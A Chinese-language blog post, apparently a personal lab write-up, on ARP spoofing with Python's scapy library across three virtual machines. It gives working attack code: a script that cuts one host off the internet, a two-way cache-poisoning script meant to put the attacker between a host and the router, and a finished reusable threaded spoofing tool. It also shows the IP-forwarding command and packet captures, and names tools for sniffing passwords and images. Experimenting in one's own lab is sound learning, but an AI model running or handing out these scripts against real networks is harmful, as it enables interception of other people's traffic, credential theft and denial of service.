arp欺骗

鉴于之前看过了ARP协议的原理,这次来测试一下ARP欺骗.在如何发送数据包方面,貌似基于python的scapy包是一个很nice的选择

实验

下面我们来测试一下arp欺骗相关内容

环境:

test1:192.168.122.11,52:54:00:95:07:90,被欺骗主机
test2:192.168.122.12,52:54:00:02:3a:3d,欺骗主机
router:192.168.122.1,52:54:00:6d:32:18,路由器

单主机arp欺骗

首先试试看test2能不能向test1发送免费arp,让test1以为test2才是路由器,并使之无法上网

这里test2发送的arp包的目标IP与目标MAC都是test1的,源MAC是自己,唯独源IP改为了路由器的IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from scapy.all import (
Ether,
ARP,
sendp
)
# Ether用来构建以太网数据包
# ARP是构建ARP数据包的类
# sendp方法在第二层发送数据包

# Ether用来构建以太网数据包
eth = Ether()
arp = ARP(
# 代表ARP请求或者响应
op="is-at",
# 发送方Mac地址/毒化记录中的MAC
hwsrc="52:54:00:02:3a:3d",
# 发送方IP地址/毒化记录中的IP
psrc="192.168.122.1",
# 目标Mac地址/被欺骗主机MAC
hwdst="52:54:00:95:07:90",
# 目标IP地址/被欺骗主机IP地址
pdst="192.168.122.11"
)
# scapy重载了"/"操作符,可以用来表示两个协议层的组合
# 这里我们输出一下数据包的结构信息
print((eth/arp).show())

# 发送封包,并且每间隔1秒重复发送
sendp(eth/arp, inter=2, loop=1)

该脚本一执行,与test1的ssh连接就中断了…test1现在处于只能局域网通信的状态,因为外网的数据包全都发送到test2上

查看test1的arp表:

1
2
192.168.122.1 dev eth0 lladdr 52:54:00:02:3a:3d REACHABLE
192.168.122.12 dev eth0 lladdr 52:54:00:02:3a:3d STALE

可以看到test1认为test2和路由器的mac地址相同,试验成功!

数据包截获

光是让一个主机无法通信就太简单了,arp欺骗一般来说是用来截获数据包获取有价值的信息的

为了达成这个目的,我们所需要做的是:

  1. 欺骗test1,使之认为test2是路由器
  2. 欺骗路由器,使之认为test2是test1
  3. 转发test1的流量,使之能正常上网
  4. 截获来自test1的流量

由于test1,test2,router处于同一局域网下,所以无需手动配置路由,只需内核的路由转发功能即可:

1
[root@test2 ~]# echo 1 > /proc/sys/net/ipv4/ip_forward

接下来创建py脚本,分别对test1和router进行arp欺骗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from scapy.all import (
Ether,
ARP,
sendp
)

cheatTest = Ether()/ARP()
cheatTest.op = "is-at"
cheatTest.hwsrc = "52:54:00:02:3a:3d"
cheatTest.psrc = "192.168.122.1"
cheatTest.hwdst = "52:54:00:95:07:90"
cheatTest.pdst = "192.168.122.11"

cheatRouter = Ether()/ARP()
cheatRouter.op = "is-at"
cheatRouter.hwsrc = "52:54:00:02:3a:3d"
cheatRouter.psrc = "192.168.122.11"
cheatRouter.hwdst = "52:54:00:6d:32:18"
cheatRouter.pdst = "192.168.122.1"

while True:
sendp(cheatTest, inter=1)
sendp(cheatRouter, inter=1)

理论上来说test1已经能够正常上网,且数据包都经过test2才对,但现在的情况是test1能局域网通信,却无法访问外网-.-

1
2
3
4
5
6
7
8
9
10
11
12
[root@test1 ~]# ping 192.168.122.1 -c1
PING 192.168.122.1 (192.168.122.1) 56(84) bytes of data.
64 bytes from 192.168.122.1: icmp_seq=1 ttl=63 time=1.42 ms

--- 192.168.122.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.423/1.423/1.423/0.000 ms
[root@test1 ~]# ping baidu.com -c1
PING baidu.com (123.125.115.110) 56(84) bytes of data.

--- baidu.com ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

由于之前已经在外网测试成功,所以这次虚拟机测试失败也不应该是步骤错误的问题…先抓包试试看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root@test2 ~]# tcpdump -nn not port 22 and not arp and not icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
15:31:56.500300 IP 192.168.122.11.54881 > 192.168.122.1.53: 38008+ A? baidu.com. (27)
15:31:56.500329 IP 192.168.122.11.54881 > 192.168.122.1.53: 38008+ A? baidu.com. (27)
15:31:56.500361 IP 192.168.122.11.54881 > 192.168.122.1.53: 49739+ AAAA? baidu.com. (27)
15:31:56.500368 IP 192.168.122.11.54881 > 192.168.122.1.53: 49739+ AAAA? baidu.com. (27)
15:31:56.500813 IP 192.168.122.1.53 > 192.168.122.11.54881: 38008 2/0/0 A 220.181.57.216, A 123.125.115.110 (59)
15:31:56.500827 IP 192.168.122.1.53 > 192.168.122.11.54881: 38008 2/0/0 A 220.181.57.216, A 123.125.115.110 (59)
15:31:56.500832 IP 192.168.122.1.53 > 192.168.122.11.54881: 49739 0/0/0 (27)
15:31:56.500838 IP 192.168.122.1.53 > 192.168.122.11.54881: 49739 0/0/0 (27)
15:31:56.503511 IP 192.168.122.1.43668 > 220.181.57.216.80: Flags [S], seq 1334321456, win 29200, options [mss 1460,sackOK,TS val 1062307 ecr 0,nop,wscale 7], length 0
15:31:56.503538 IP 192.168.122.1.43668 > 220.181.57.216.80: Flags [S], seq 1334321456, win 29200, options [mss 1460,sackOK,TS val 1062307 ecr 0,nop,wscale 7], length 0
15:31:57.504266 IP 192.168.122.1.43668 > 220.181.57.216.80: Flags [S], seq 1334321456, win 29200, options [mss 1460,sackOK,TS val 1063308 ecr 0,nop,wscale 7], length 0
15:31:57.504349 IP 192.168.122.1.43668 > 220.181.57.216.80: Flags [S], seq 1334321456, win 29200, options [mss 1460,sackOK,TS val 1063308 ecr 0,nop,wscale 7], length 0

可以看到test1对dns的请求是成功的,返回了百度的ip地址,但http数据包从router发送至百度服务器后,却再也没有收到服务器的回应,真是奇怪…这个问题暂时放在这,以后再来解决

正常来说,能够截获数据包就算arp欺骗成功而了,除了最常用的wireshark外,kali上也有一些相关的工具,如ettercap进行密码嗅探,driftnet进行图片嗅探,还有arpspoof进行arp欺骗

小结

这次除了进行arp欺骗外,值得注意的还有scapy包,这是一个数据包构造相关的库,使用相当简单.有了这个包,我们就可以对学得的网络知识快速实践

这是写好的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from scapy.all import (
Ether,
ARP,
sendp,
getmacbyip,
get_if_hwaddr
)
import threading
import sys

hwaddr = ""


def arpSpoof(test, router):
testmac = getmacbyip(test)
routermac = getmacbyip(router)
cheatTest = Ether()/ARP()
cheatTest.op = "is-at"
cheatTest.hwsrc = hwaddr
cheatTest.psrc = router
cheatTest.hwdst = testmac
cheatTest.pdst = test

cheatRouter = Ether()/ARP()
cheatRouter.op = "is-at"
cheatRouter.hwsrc = hwaddr
cheatRouter.psrc = test
cheatRouter.hwdst = routermac
cheatRouter.pdst = router

testHandler = threading.Thread(target=sendp, args=(
cheatTest,), kwargs={"inter": 1, "loop": 1})
routerHandler = threading.Thread(target=sendp, args=(
cheatRouter,), kwargs={"inter": 1, "loop": 1})
testHandler.start()
routerHandler.start()


def main():
global hwaddr
hwaddr = get_if_hwaddr(sys.argv[1])
testip = sys.argv[2]
routerip = sys.argv[3]
arpSpoof(testip, routerip)


if __name__ == '__main__':
main()

参考文档(参考了几乎没用-.-)

简书:Python黑帽编程 3.1 ARP欺骗

简书:【原创】使用arpspoof实现内网ARP欺骗

0%